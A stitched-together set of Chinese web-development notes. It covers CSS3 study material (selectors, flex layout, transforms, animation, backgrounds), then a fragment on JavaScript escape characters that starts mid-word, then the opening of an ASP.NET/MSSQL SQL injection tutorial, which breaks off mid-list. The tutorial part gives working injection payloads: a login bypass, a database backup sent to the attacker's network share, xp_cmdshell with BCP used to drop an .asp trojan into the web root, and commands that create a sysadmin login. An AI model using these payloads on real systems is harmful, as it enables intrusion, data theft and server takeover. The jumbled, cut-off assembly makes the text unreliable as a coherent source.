<!– !+tab鍵 –>

<!– 2.添加或刪除注釋 –>

<!– ctrl+? –>

<!– <ul class=”uls”>

<li><a href=”#”>今天是2018年七月九號</a><span>2018-07-09</span></li>

</ul> –>

<!– 3.快速生成標記內容

標記.class名>子標記名稱*個數

ul.uls>li*6>a+span –>

css3選擇器

一、基本選擇器

1.通配符

*{margin:0; padding:0;}

2.元素選擇符（標簽選擇器）

h1{color:red;}

3.class選擇器（類選擇器）

.box{background:blue;}

4.id選擇器

#wraper{color:black;}

5.群組選擇器

ol,ul{list-style:none;}

二、層次選擇器（關系選擇器）

1.E F (后代選擇器或包含選擇器)

匹配E元素下所有子元素F

eg: .box a{color:red;}

匹配.box下所有子元素a

2.E>F (子代選擇器)

匹配E元素下第一級子元素F

eg: .box>a{color:red;}

匹配.box下第一級子元素a

3.E+F 相鄰兄弟選擇器

匹配E元素后面緊鄰的那個F元素(有且僅有一個)

eg: .box+h1{color:blue;}

匹配.box后面緊鄰的那一個h1

4.E~F 通用兄弟選擇器

匹配E元素后面所有的F元素(有可能匹配到多個)

eg: .box~h1{color:blue;}

匹配.box后面所有的h1元素

三、動態偽類選擇器

1.E:link 沒有被訪問過的狀態

2.E:visited 訪問過后的狀態

3.E:hover 滑過時的狀態

4.E:active 鼠標按下時的狀態

5.E:focus 光標聚焦到input框時的狀態

四、結構性偽類選擇器

1. :first-child 匹配每個父元素下第一個子元素

eg: .box a:first-child{color:red;}

匹配.box下第一個子元素a(此時，a必須是.box下的第一個子元素)

eg: .box :first-child{color:red;}

匹配.box下每個父元素下的第一個子元素

注： :first-child 《=》 :nth-child(1)

都是匹配父元素下的第一個子元素

2. :last-child 匹配每個父元素下最后一個子元素

eg: .box a:last-child{color:blue;}

匹配.box下最后一個子元素a(此時，a必須是.box下最后一個子元素)

eg: .box :last-child{color:blue;}

匹配.box下每個父元素下的最后一個子元素

注： :last-child 《=》 :nth-last-child(1)

都是匹配父元素下的最后一個子元素

3. :nth-child(n) 匹配父元素下的第n個子元素

eg: .box :nth-child(3){color:red;}

匹配.box下每個父元素下的第三個子元素

4. :nth-child(2n) 匹配父元素下的第偶數個子元素

eg: .tab tr:nth-child(2n){background:red;}

匹配.tab下第偶數個tr

注： :nth-child(2n) 《=》 :nth-child(even)

5. :nth-child(2n+1) 匹配父元素下第奇數個子元素

eg: .tab tr:nth-child(2n+1){background:blue;}

匹配.tab下第奇數個tr

注： :nth-child(2n+1) 《=》 :nth-child(odd)

6. :nth-last-child(n) 匹配父元素下倒著數第n個子元素

eg: .tab tr:nth-last-child(3){color:red;}

匹配.tab下倒數第三個子元素tr

——————————————————-

7. :first-of-type 匹配父元素下指定類型的第一個子元素

eg: .uls li:first-of-type{background:pink;}

匹配.uls下li這種類型的第一個子元素

注： :first-of-type 《=》 :nth-of-type(1)

都是匹配父元素下指定類型的第一個子元素

8. :last-of-type 匹配父元素下指定類型的最后一個子元素

eg: .uls li:last-of-type{background:yellow;}

匹配.uls下li這種類型的最后一個子元素

注：:last-of-type 《=》 nth-last-of-type(1)

都是匹配父元素下指定類型的最后一個子元素

9. :nth-of-type(n) 匹配父元素下指定類型的第n個子元素

eg: .uls li:nth-of-type(3){background:blue;}

匹配.uls下li這種類型的第3個子元素

10. :nth-last-of-type(n) 匹配父元素下指定類型的倒數第n個子元素

eg: .uls li:nth-last-of-type(3){background:orange;}

匹配.uls下li這種類型的倒數第三個子元素

——————————————————-

11. :only-child 匹配父元素下唯一一個子元素

12. :only-of-type 匹配父元素下指定類型的唯一一個子元素

13. :empty 匹配內容為空的元素(空格，回車換行都不能有)

14. :root 匹配根元素html

四、UI狀態偽類選擇器（主要針對form表單元素）

1. E:checked 匹配選中狀態的單選或復選按鈕

eg: input:checked+label{color:red;}

匹配選中狀態的input控件后面緊鄰的那個label標簽

2. E:enabled 匹配啟用狀態的表單元素

eg: input:enabled{border:1px solid red;}

3. E:disabled 匹配禁用狀態的表單元素

eg: input:disabled{background:gray;}

五、目標偽類選擇器

語法： E:target 匹配錨點鏈接連接到的那個元素

eg: p:target{display:block;}

當錨點鏈接連接到p標簽，應用display:block;

六、屬性選擇器

1. E[attr] 匹配含有attr屬性的E元素

eg: a[title]{text-decoration:none;}

匹配含有title屬性的a標簽

2. E[attr=value] 匹配含有attr屬性并且值為value的E元素

eg: a[title=前端]{color:black;}

匹配含有title屬性并且值為前端的a標簽

3. E[attr^=value] 匹配含有attr屬性并且值以value開頭的E元素

eg: a[href^=http]{font-size:12px;}

匹配含有href屬性并且屬性值以http開頭的a標簽

4. E[attr$=value] 匹配含有attr屬性并且值以value結尾的E元素

eg: a[href$=com]{color:blue;}

匹配含有href屬性并且屬性值以com結尾的a標簽

5. E[attr~=value] 匹配含有attr屬性并且屬性值列表中含有value這個詞的E元素

eg: a[title~=培訓]{color:red;}

匹配含有title屬性，并且屬性值列表中含有培訓這個詞的a標簽

6. E[attr*=value] 匹配含有attr屬性并且屬性值列表中含有value這個字的E元素

eg: a[title*=培訓]{color:yellow;}

匹配含有title屬性，并且屬性值列表中含有培訓兩個字的a標簽

7. E[attr|=value] 匹配含有attr屬性，并且值以value-開頭或值為value的E元素

eg: a[class|=link]{color:blue;}

匹配含有class屬性并且值以link-開頭或值為link的a標簽

七、否定偽類選擇器

語法： E:not(F) 匹配不滿足條件F的E元素

eg: li:not([class=lis]){color:red;}

匹配不滿足條件class=lis的li元素

八、語言偽類選擇器

語法： E:lang(val) 匹配指定了lang屬性，并且值為val的E元素

九、偽元素

1. E:before 在E元素所有內容之前添加一個偽元素

eg: .box:before{

content:”hello”;

font-size:32px;

…

}

2. E:after 在E元素所有內容之后添加一個偽元素

eg: .box:after{

content:””;

display:block;

clear:both;

height:0;

overflow:hidden;

visibility:hidden;

}

注：:after常用于清除浮動

偽元素是一個內聯元素

不管內容是否為空，都不能省略content

3. :first-line 匹配段落文本中的第一行

4. :first-letter 匹配段落文本中的第一個字符

5. ::selection 改變選中文字的效果

注：針對火狐內核的兼容寫法如下：

p::-moz-selection{color:red;}

十、漸進增強和優雅降級

1.漸進增強

一開始就針對低版本瀏覽器進行構建頁面，完成基本的功能，然后再針對高級瀏覽器進行效果、交互、追加功能達到更好的體驗。

eg: .box{ /*漸進增強寫法*/

-webkit-transition: all .5s;

-moz-transition: all .5s;

-o-transition: all .5s;

transition: all .5s;

}

2.優雅降級

一開始就構建站點的完整功能，然后針對瀏覽器測試和修復。比如一開始使用 CSS3 的特性構建了一個應用，然后逐步針對各大瀏覽器進行 hack 使其可以在低版本瀏覽器上正常瀏覽。

eg: .box{ /*優雅降級寫法*/

transition: all .5s;

-webkit-transition: all .5s;

-moz-transition: all .5s;

-o-transition: all .5s;

}

注：css3屬性針對不同內核的兼容寫法：

對webkit內核 -webkit-

針對火狐內核 -moz-

針對opera內核 -o-

針對IE內核 -ms-

擴展：如何使用border實現三角的效果，方法如下：

元素{

width:0;

height:0;

border:3px solid transparent;

border-top-color:blue; /*top還可以根據需要更改為bottom,right,left*/

}

css3圓角，陰影

一、圓角

語法： border-radius:數值+單位;

1.設置一個值

border-radius:20px; 四個方向圓角都為20px

2.設置兩個值

border-radius:50px 10px; 左上，右下為50px,右上，左下為10px

3.設置三個值

border-radius:50px 0px 10px; 左上為50px,右上和左下為0,右下為10px

4.設置四個值

border-radius:0px 10px 30px 60px; 順時針方向依次為左上0，右上10，右下30，左下60

5.用/設置圓角

border-radius:50px/100px;

第一組值代表水平半徑為50px,/后的第二組值代表垂直半徑為100px

6.還可以單獨設置某一個方向的圓角

border-top-left-radius:10px;

注：border-top-left-radius:20px 50px; 水平半徑為20px,垂直半徑為50px

7.設置為圓

border-radius:50%;

二、多色彩邊框

語法： .box{-moz-border-top-colors:black red yellow;}

注：只有低版本的火狐瀏覽器支持

三、圖像邊框

1.設置圖像邊框的路徑

語法：border-image-source:url(圖片路徑);

2.設置圖像邊框的裁剪位置

語法：border-image-slice:數值;

注：a)設置數值專指像素

b) 如何需要中間部分顯示出來，需要添加fill

eg: border-image-slice:27 fill;

3.設置圖像邊框的平鋪屬性

語法：border-image-repeat:stretch|repeat|round;

a)stretch 默認值，圖像被拉伸

b)repeat 圖片默認平鋪，當碰到邊界時則會被截斷

c)round 圖片會根據邊框的尺寸動態調整圖片的大小直至正好可以鋪滿整個邊框。

eg: border-image-repeat:round stretch;

代表水平方向鋪滿，垂直方向拉伸

四、文本陰影

語法： text-shadow:水平偏移量垂直偏移量模糊度顏色值;

eg: text-shadow:5px 5px 3px black,8px 8px 5px #999;

注：a) 多組陰影的值用逗號分隔

b) 水平偏移量向右為正，向左為負，垂直偏移量向下為正，向上為負

c) 模糊度最小值為0，不允許設置負值

擴展：文字描邊，語法如下：

-webkit-text-stroke:3px blue;

五、盒陰影

語法：box-shadow:水平偏移量垂直偏移量模糊度擴展半徑顏色值;

eg: box-shadow:5px 5px 10px #333,8px 8px 12px #666;

注：盒陰影默認為外陰影，如果需要設置內陰影，寫法如下：

eg: box-shadow:inset 3px 3px 5px #333,inset 5px 5px 8px #666;

注：當設置了擴展半徑后，一般水平和垂直偏移量設置為0

eg: box-shadow:0px 0px 5px 10px red;

box-shadow:inset 0px 0px 5px 10px red;

css3彈性布局

一、分欄布局

1.設置欄數

語法： column-count:數值;

2.設置每欄的寬度

語法：column-width:數值+單位;

注：column-count和column-width設置其中一個屬性即可

3.設置欄間距

語法：column-gap:數值+單位;

4.設置欄分隔線

語法：column-rule:寬度 solid|dashed|dotted 顏色;

eg: column-rule:3px dashed blue;

5.設置是否跨欄顯示

語法：column-span:all(跨欄顯示)|none(不跨欄顯示);

注：該屬性給需要跨欄顯示的元素添加

二、彈性布局

語法：display:flex;

說明：

a) 當給元素設置了display:flex;該元素就成為了彈性盒

b) 當給父元素設置彈性盒后，子元素的float,clear,vertical-align將會失效

c) 我們把設置了display:flex;屬性的元素叫做flex容器，把里面的子元素叫做flex項目

d) 當給元素設置了彈性盒以后，隨之會產生兩根軸線：主軸和交叉軸

◆ Flex容器屬性

1.改變主軸的方向

語法：flex-direction:row|row-reverse|column|column-reverse;

row 默認值，主軸在水平方向，起點在左端

row-reverse 主軸在水平方向，起點在右端

column 主軸在垂直方向，起點在上沿

column-reverse 主軸在垂直方向，起點在下沿

2.設置flex項目是單行顯示還是多行顯示

語法：flex-wrap:nowrap|wrap|wrap-reverse;

nowrap 默認值，不換行

wrap 換行

wrap-reverse 與wrap相似，但是行的順序是倒過來的

3.flex-direction和flex-wrap的簡寫方式

語法：flex-flow:row nowrap;

4.設置主軸對齊方式

語法：justify-content:flex-start|flex-end|center|space-between|space-around;

flex-start 類似于左浮動

flex-end 類似于右浮動

center flex項目居中對齊

space-between flex項目兩端對齊，中間間隔相等

space-around flex項目兩側間隔相等

5.設置交叉軸對齊方式

語法：align-items:flex-start|flex-end|center|baseline|stretch;

flex-start 對齊交叉軸的起點

flex-end 對齊交叉軸的終點

center 以交叉軸為參考，居中對齊

baseline flex項目第一行文字基線對齊

stretch flex項目沒有設置高度或者為auto，將占滿整個父元素的高度

———————————————–

★ 如何使用flex布局實現不定寬高的元素在屏幕窗口水平垂直都居中，方法如下：

html,body{height:100%;}

body{display:flex;justify-content:center;align-items:center;}

★ 如何使用flex布局實現不定寬高的子元素在父元素中水平垂直都居中，方法如下：

父元素{display:flex;justify-content:center;align-items:center;}

———————————————–

6.設置多根軸線對齊方式(如果只有一根軸線，該屬性不起作用)

flex-start 對齊交叉軸的起點

flex-end 對齊交叉軸的終點

center 以交叉軸為參考，居中對齊

space-between 軸線兩端對齊，中間間隔相等

space-around 軸線間兩側間隔相等

stretch flex項目沒有設置高度或者高度為auto，將占滿整個父元素的高度

◆ Flex項目屬性

1.改變flex項目排列順序

語法：order:0|數值;

注：默認值為0,值越小越靠前

2.設置某個flex項目不同于其他flex項目的交叉軸對齊方式

語法：align-self:flex-start|flex-end|center|baseline|stretch;

注：屬性值的使用方法同align-items屬性

3.設置flex項目的放大比例

語法：flex-grow:0|數值;

注：flex-grow默認值為0即使存在剩余空間也不放大

4.設置flex項目的縮小比例

語法：flex-shrink:1|數值;

注：flex-shrink默認值為1,當flex容器剩余空間不足時，flex項目等比例縮小

注：flex-shrink:0; 即使flex容器空間不足，flex項目也不縮小

5.設置flex項目占據主軸的空間

語法：flex-basis:數值+單位;

注：flex-basis默認值為auto

6.flex-grow,flex-shrink,flex-basis的簡寫方式

語法：flex:0 1 auto; (默認值)

注：flex:1; 完整寫法：flex:1 1 0%;

主要應用在兩個方面：

a) 等比例分配空間

b) 將剩余空間分配給某個元素

三、響應式布局

概念—寫一套css樣式可以應用在多個終端設備

優點：可以同時適配多個終端，靈活性更強

缺點：工作量增加，會造成代碼冗余，加載時間加長

原理：媒體查詢

四、媒體查詢

1.外聯式媒體查詢

語法：

注：當屏幕窗口大于等于960px時，引用blue.css文件

當屏幕窗口小于等于960px時，引用red.css文件

2.內嵌式媒體查詢

語法：

@media screen and (min-width:320px) and (max-width:960px){

body{

background:red;

}

注：當屏幕窗口大于等于320px,小于等于960px時，body背景色為紅色

標準盒模型和怪異盒模型

一、標準盒模型和怪異盒模型

標準盒模型是由content,padding,border,margin四部分組成

怪異盒模型是由content,margin組成

標準盒模型的總寬度=width+左右padding+左右border+左右margin

標準盒模型的總高度=height+上下padding+上下border+上下margin

怪異盒模型的總寬度=width+左右margin

怪異盒模型的總高度=height+上下margin

注：當網頁沒有添加文檔聲明時，就會觸發某些瀏覽器(如IE6)的怪異模式

二、box-sizing常用屬性值有哪些及其含義？

1.box-sizing:border-box;

將標準盒模型轉換為怪異盒模型，總寬高不包括padding和border

2.box-sizing:content-box;

將怪異盒模型轉換為標準盒模型，總寬高包含padding和border

———————————————–

擴展：如何自定義字體

語法： @font-face{

font-family:字體名稱;

src:url(字體文件路徑);

}

body{

font-family:字體名稱;

}

css3移動端布局

一、移動端相關概念

1.屏幕尺寸

屏幕尺寸是指屏幕對角線的長度，單位為英寸，1英寸=2.54厘米

2.屏幕分辨率

屏幕分辨率是指橫縱方向上的像素點數，單位為px，1個像素點=1px

(這里的1px是指物理設備上的一個像素點)

常見移動端設備屏幕分辨率：

iphone6,6s,7,8 1334*750

iponee6plus,7plus,8plus 1920*1080

注：移動端設備一般為縱向像素*橫向像素

3.ppi

屏幕每英寸可以顯示的像素點數，即屏幕像素密度，單位為ppi

計算公式：

4.dpr

dpr是devicePixelRatio的簡寫，指物理像素與邏輯像素的比值

物理像素：屏幕分辨率

邏輯像素：寫在css文件中的像素值，即要顯示在設備上的像素值

常見設備dpr值：

iphone6,7,8 dpr=2

iphone6plus,7plus,8plus dpr=3

5.移動端meta設置

注：讓視圖窗口的寬度等于設備的寬度

快捷鍵：meta:vp+tab鍵

二、常見移動端布局方案

1.百分比布局(流式布局)

特點：文字流式，控件彈性，圖片等比例縮放

頂部和底部的bar不管分辨率怎么變，高度和位置都不變

案例：拉勾網

注：適用于內容較少比較簡單的移動端頁面

2.等比例縮放布局(rem布局)

特點：使用rem為主要單位進行頁面布局，很好的實現了在不同設備上頁面等比例縮放

案例：網易

注：適用于頁面內容較多較復雜的移動端頁面

3.混合布局

特點：混合布局是指將多種布局方式(如flex布局，圣杯布局，百分比布局等)融合在一起實現移動端的屏幕適配的方法

案例：淘寶網

三、移動端相關單位

1.px

像素，相對于屏幕分辨率而言

2.em

相對于父元素字體大小放大或縮小多少倍

1em = 16px

3.rem

相對于根元素字體大小放大或縮小多少倍

4.vw

vw是viewport width的縮寫，即視圖窗口的寬度

1vw = 視窗寬度的1%

vh是指視圖窗口的高度

vmin是vw和vh中較小值

vmax是vw和vh中較大值

css3基礎變形

一、css3基礎變形

語法： transform:rotate(旋轉)|scale(縮放)|skew(傾斜)|translate(位移);

1.旋轉(rotate)

a) rotateX(180deg) 沿x軸翻轉等價于 rotate3d(1,0,0,180deg)

b) rotateY(180deg) 沿y軸翻轉等價于 rotate3d(0,1,0,180deg)

c) rotateZ(180deg) 沿z軸翻轉等價于 rotate3d(0,0,1,180deg)

d) rotate(60deg) 不指定軸時，是2d空間的旋轉，正值為順時針，負值為逆時針

注：rotate旋轉的單位是deg

2.縮放(scale)

a) scaleX(1.5) 沿x軸縮放，默認值為1，不放大不縮小，大于1為放大，小于1為縮小

b) scaleY(1.5) 沿y軸縮放

c) scale(1.5) 沿x軸和y軸同時縮放

d) scale(-1.5) 先翻轉后縮放

3.傾斜(skew)

a) skewX(30deg) 沿x軸傾斜

b) skewY(-30deg) 沿y軸傾斜

c) skew(30deg) 不指定軸時，默認沿x軸傾斜

d) skew(30deg,30deg) x軸和y軸同時傾斜

skewX(30deg) skewY(30deg) x軸和y軸同時傾斜

注：兩種寫法傾斜效果不同

skew傾斜單位為deg

4.位移(translate)

a) translateX(100px) 沿x軸位移，向右為正，向左為負

b) translateY(-100px) 沿y軸位移，向下為正，向上為負

c) translateZ(100px) 沿z軸位移，向前為正，向后為負

d) translate(100px) 不指定軸時，默認沿x軸位移

e) translate(100px,100px) x軸和y軸同時位移

translateX(100px) translateY(100px)x軸和y軸同時位移

◆ 使用變形實現不定寬高元素在屏幕窗口水平垂直都居中，方法如下：

元素{

position:fixed;

top:50%;

left:50%;

transform:translate(-50%,-50%);

}

◆ 使用變形實現不定寬高的子元素在父元素中水平垂直都居中，方法如下：

父元素{

position:relative;

}

子元素{

position:absolute;

left:50%;

top:50%;

transform:translateX(-50%) translateY(-50%);

}

二、變形綜合

當多種變形方式綜合在一起時，順序不同，效果有可能不同，例如：

eg1: transform:rotate(360deg) scale(1.5);

transform:scale(1.5) rotate(360deg);

順序不同，效果相同

eg2: transform:translateX(300px) rotate(360deg);

transform:rotate(360deg) translateX(300px);

順序不同，效果不同

三、改變變形元素中心點位置

語法：transform-origin:left|center|right top|center|bottom;

四、設置元素的變形類型

語法：transform-style:flat(默認值)|preserve-3d;

flat 默認值，2d空間的變形

preserve-3d 3d空間的變形

五、透視，井深

語法：perspective:數值+單位;

eg: 父元素{perspective:1500px;}

eg: 子元素{transform:perspective(800px) rotateY(60deg);}

注：perspective主要用來設置元素3d效果的強度

transition過渡動畫

一、transition過渡動畫

語法：transition:過渡屬性過渡時間過渡方式過渡延遲時間;

eg: transition:all 1s;

1.transition-property(過渡屬性)

取值：

none 沒有屬性發生過渡

all 所有發生變化的屬性都添加過渡動畫

ident 指定發生過渡的屬性列表

eg: transition:transform 1s,background 2s,border-radius 3s;

2.transition-duration(過渡時間)

取值：

0 不執行過渡，直接看到結果

time 指定過渡時間，單位為s

3.transition-delay(過渡延遲時間)

取值：

0 不延遲，直接執行過渡動畫

正值按照設定的時間延遲執行過渡動畫

負值設定時間前的動畫將會被截斷

4.transition-timing-function(過渡方式)

取值：

ease 默認值

linear 勻速運動

ease-in 加速運動

ease-out 減速運動

ease-in-out 慢-快-慢

二、animation動畫

☆ 動畫關鍵幀

語法： @keyframes 動畫名稱{

0%{

屬性:屬性值;

}

50%{

屬性:屬性值;

}

…

100%{

屬性:屬性值;

}

@keyframes 動畫名稱{

from{

屬性:屬性值;

}

50%{

屬性:屬性值;

}

…

to{

屬性:屬性值;

}

———————————————–

語法： animation:動畫名稱動畫執行時間動畫延遲執行時間動畫播放次數動畫播放狀態;

1.animation-name(動畫名稱)

eg: animation:box_ani 1s;

注：此處的動畫名稱要和@keyframes中的動畫名稱一致

2.animation-duration(動畫執行一次所需時間)

取值：

0 動畫不執行

time 正數，單位為s或者ms

3.animation-delay(動畫延遲執行時間)

取值：

0 不延遲，動畫立即執行

正數按照設定的時間延遲執行動畫

負數設定時間前的動畫將會被截斷

4.animation-iteration-count(動畫播放次數)

取值：

number 自定義動畫執行次數，設置值可為0或正整數

infinite 無限循環播放

5.animation-play-state(設置對象動畫的狀態)

取值：

running 默認值，運動

paused 動畫暫停

6.animation-timing-function(對象動畫過渡類型)

取值：

ease

linear 勻速運動

ease-in

ease-out

ease-in-out

step-start 馬上轉跳到動畫結束狀態，或者轉跳到下一幀，中間沒有過渡

step-end 保持動畫開始時的狀態，直到動畫結束時，馬上轉跳到動畫結束狀態

steps(n,start|end) n代表動畫分幾步完成

7. animation-direction(設置對象動畫運動的方向)

取值：

normal 默認值，正常方向運動

reverse 與normal運動方向始終相反

alternate 正反方向交替運動，奇數次正方向，偶數次反方向

alternate-reverse 奇數次反方向，偶數次正方向

8.animation-fill-mode (設置對象動畫時間之外的狀態)

取值：

none 默認值，不設置時間之外的狀態

forwards 保持動畫結束時的狀態

backwards 保持動畫開始時的狀態

both 動畫遵循forwards和backwards兩個規則

擴展：

隱藏翻轉元素的背面，語法如下：backface-visibility:hidden;

css3背景，漸變，蒙版

一、背景切割

語法：background-clip:border-box|padding-box|content-box;

作用：設置背景在哪個區域可見

border-box 默認值.背景在邊框已經邊框以內的區域可見

padding-box 背景在padding區域和content區域可見

content-box 背景在content區域可見

二、背景原點

語法：background-origin:border-box|padding-box|content-box;

作用：設置背景圖原點的定位區域

padding-box 默認值，背景原點從padding區域開始

border-box 背景原點從border區域開始

content-box 背景原點從content區域開始

三、背景切割&背景原點

可以將背景切割和背景原點結合使用

eg: background-clip:content-box;

background-origin:border-box;

背景原點從border區域開始，背景在content區域可見

四、背景尺寸

語法：background-size:數值|100%|cover|contain;

1.length

該數值用來設置背景圖的寬度和高度，第一個值代表寬度，第二個值代表高度，如果省略第二個值，為auto,等比例縮放

eg: background-size:100px 200px; (背景圖有可能發生變形)

background-size:100px; (背景圖有可能超出容器,不會發生變形)

2.百分比

以容器的百分比來設置背景圖的寬度和高度

eg: background-size:100% 100%;(背景圖不會超出容器，但是背景圖有可能發生變形)

background-size:100%;(背景圖有可能超出容器，但是背景圖不會發生變形)

3.cover

把背景圖像擴展至足夠大，以使背景圖像完全覆蓋背景區域。背景圖像有可能超出容器，背景圖不會發生變形

eg: background-size:cover;

4.contain

把圖像擴展至最大尺寸，以使寬度和高度完全適應內容區域。背景圖像始終被包含在容器內,背景圖不會發生變形

五、rgba模式

語法： background:rgba(r,g,b,a); a代表透明度，取值范圍0~1

eg: background:rgba(0,0,0,.4);

注：rgba模式和opacity的區別：

a) 給容器添加opacity,容器中的文字和圖片也會跟隨透明

b) rgba模式只是給容器的背景添加一定的透明度，容器中的文本和圖片不會跟隨透明

———————————————–

擴展：hsla模式

語法： background:hsla(h,s,l,a);

h 色調，取值范圍0~360

s 飽和度，取值范圍0%~100%

l 亮度，取值范圍0%~100%

a 透明度，取值范圍0~1

———————————————-

六、線性漸變

語法： background:linear-gradient(漸變方向,顏色起始位置,顏色起始位置);

eg: background:linear-gradient(to right,red 0%,yellow 30%,blue 50%);

注：重復的線性漸變寫法如下：

background:repeating-linear-gradient(to right,red 0%,yellow 15%,blue 25%);

注：設置重復的線性漸變，必須指定漸變的位置

七、徑向漸變

語法：background:-webkit-radial-gradient(漸變中心點位置,漸變形狀漸變半徑長度,顏色起始位置,顏色起始位置);

eg: background:-webkit-radial-gradient(left top,circle closest-side,red 0%,yellow 10%);

注：重復的徑向漸變寫法：

background:-webkit-repeating-radial-gradient(center,red 0%,yellow 10%);

注：設置重復的徑向漸變，必須指定漸變的位置

———————————————–

擴展一蒙版

語法： -webkit-mask-image:url(圖片路徑)|使用漸變作為蒙版圖片; -webkit-mask-repeat:no-repeat|repeat-x|repeat-y|repeat;

-webkit-mask-position:center;

擴展二背景在文字區域可見

語法： -webkit-background-clip:text;

注：設置此屬性需要將文字顏色設置為透明，即 color:transparent;

擴展三：倒影

語法： -webkit-box-reflect:left|right|above(上)|below(下) 偏移量倒影漸變;

———————————————–

八、BFC

1.概念

BFC——block formatting context (塊級格式化上下文)

2.如何觸發BFC

a) 設置了float除none以外的值(left,right)

b) 設置了overflow除visible以外的值(hidden,scroll,auto)

c) 設置了display屬性(table-cell,inline-block,flex)

d) 設置position屬性(absolute,fixed)

3.BFC的作用

a) 解決上下margin重疊問題

給設置margin的元素外邊再嵌套一個父元素，并設置overflow:hidden;這樣就給里面的元素創建了一個塊級格式化上下文

b) 常用來清除浮動，解決高度塌陷問題

給父元素設置overflow:hidden;就給里面浮動的子元素創建了一個塊級格式化上下文，閉合了浮動

c) 用于實現多欄布局

與浮動元素相鄰的已生成BFC的元素不能與浮動元素互相覆蓋。利用該特性可以作為多欄布局的一種實現方式

義符:一般都是在字符串中的字符才需要轉義

1)JS中需要轉義符的情況

1.1路徑中的反斜杠比如 c:\b\a.txt;在JS中不能使用@符號進行轉義

1.2常見轉義符比如 \t,\n,\’,\”,\

1.3 在正則表達式中

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>JavaScript</title>
    <script type="text/javascript">
        //轉義字符串中文件路徑中的\
        var a1 ='c:\\b\\a.txt';
        alert(a1);
        //轉義字符串中的單引號
        var a2 ="c'b'a"; //第一種方式
        var a3='c\'b\'a'; //第二種方式
        alert(a2);
        alert(a3);
        //轉義字符串中的雙引號
        var a4='a"b';//第一種方式
        var a5="a\"b";//第二種方式
        alert(a4);
        alert(a5);
        //其他的不再舉例說明
    </script>
</head>
<body>
</body>
</html>

2)JS中的等于(==)與全等于(===)

JS中的等于只要變量值相同即可;全等于需要值與類型全部相同

使用等于判斷兩個變量是否相同,忽略了數據類型(不嚴謹),推薦使用全等于

3)JS中的選擇循環語句

if-else,switch; for,while,do-while,continue,break的用法與C#中幾乎一樣

for循環與C#中不同的點是:js中聲明變量使用的是var(let等暫時忽略);C#中一般使用int

switch中的判斷條件使用的也是全等于

switch語句

業開始從事winform到今年轉到 web ，在碼農屆已經足足混了快接近3年了，但是對安全方面的知識依舊薄弱，事實上是沒機會接觸相關開發……必須的各種借口。這幾天把sql注入的相關知識整理了下，希望大家多多提意見。

（對于sql注入的攻防，我只用過簡單拼接字符串的注入及參數化查詢，可以說沒什么好經驗，為避免后知后覺地犯下大錯，專門查看大量前輩們的心得，這方面的資料頗多，將其精簡出自己覺得重要的，就成了該文）

下面的程序方案是采用 ASP.NET + MSSQL，其他技術在設置上會有少許不同。

示例程序下載：SQL注入攻防入門詳解_示例

什么是SQL注入（SQL Injection）

所謂SQL注入式攻擊，就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串，欺騙服務器執行惡意的SQL命令。在某些表單中，用戶輸入的內容直接用來構造（或者影響）動態SQL命令，或作為存儲過程的輸入參數，這類表單特別容易受到SQL注入式攻擊。

嘗嘗SQL注入

1. 一個簡單的登錄頁面

關鍵代碼：（詳細見下載的示例代碼）

private bool NoProtectLogin(string userName, string password)

{

int count = (int)SqlHelper.Instance.ExecuteScalar(string.Format

("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));

return count > 0 ? true : false;

}

方法中userName和 password 是沒有經過任何處理，直接拿前端傳入的數據，這樣拼接的SQL會存在注入漏洞。（賬戶：admin 123456）

1) 輸入正常數據，效果如圖：

合并的SQL為：

SELECT COUNT(*) FROM Login WHERE UserName='admin' AND Password='123456'

2) 輸入注入數據：

如圖，即用戶名為：用戶名：admin’—，密碼可隨便輸入

合并的SQL為：

SELECT COUNT(*) FROM Login WHERE UserName='admin'-- Password='123'

因為UserName值中輸入了“--”注釋符，后面語句被省略而登錄成功。（常常的手法：前面加上'; ' (分號，用于結束前一條語句)，后邊加上'--' (用于注釋后邊的語句)）

2. 上面是最簡單的一種SQL注入，常見的注入語句還有：

1) 猜測數據庫名，備份數據庫

a) 猜測數據庫名： and db_name() >0 或系統表master.dbo.sysdatabases

b) 備份數據庫：;backup database 數據庫名 to disk = ‘c:\*.db’;--

或：declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';--

2) 猜解字段名稱

a) 拆解法：and (select count(字段名) from 表名)>0 若“字段名”存在，則返回正常

b) 讀取法：and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0 把col_name(object_id('表名'),1)中的1依次換成2,3,4,5，6…就可以得到所有的字段名稱。

3) 遍歷系統的目錄結構，分析結構并發現WEB虛擬目錄（服務器上傳木馬）

先創建一個臨時表：;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

a) 利用xp_availablemedia來獲得當前所有驅動器,并存入temp表中

;insert temp exec master.dbo.xp_availablemedia;--

b) 利用xp_subdirs獲得子目錄列表,并存入temp表中

;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--

c) 利用xp_dirtree可以獲得“所有”子目錄的目錄樹結構,并存入temp表中

;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- （實驗成功）

d) 利用 bcp 命令將表內容導成文件

即插入木馬文本，然后導出存為文件。比如導出為asp文件，然后通過瀏覽器訪問該文件并執行惡意腳本。（使用該命令必須啟動’ xp_cmdshell’）

Exec master..xp_cmdshell N'BCP "select * from SchoolMarket.dbo.GoodsStoreData;" queryout c:/inetpub/wwwroot/runcommand.asp -w -S"localhost" -U"sa" -P"123"'

(注意：語句中使用的是雙引號，另外表名格式為“數據庫名.用戶名.表名”)

在sql查詢器中通過語句：Exec master..xp_cmdshell N'BCP’即可查看BCP相關參數，如圖：

4) 查詢當前用戶的數據庫權限

MSSQL中一共存在8種權限：sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

可通過1=(select IS_SRVROLEMEMBER('sysadmin'))得到當前用戶是否具有該權限。

5) 設置新的數據庫帳戶（得到MSSQL管理員賬戶）

d) 在數據庫內添加一個hax用戶，默認密碼是空的

;exec sp_addlogin'hax';--

e) 給hax設置密碼 (null是舊密碼，password是新密碼，user是用戶名)

;exec master.dbo.sp_password null,password,username;--

f) 將hax添加到sysadmin組

;exec master.dbo.sp_addsrvrolemember 'hax' ,'sysadmin';--

6) xp_cmdshell MSSQL存儲過程（得到 WINDOWS管理員賬戶）

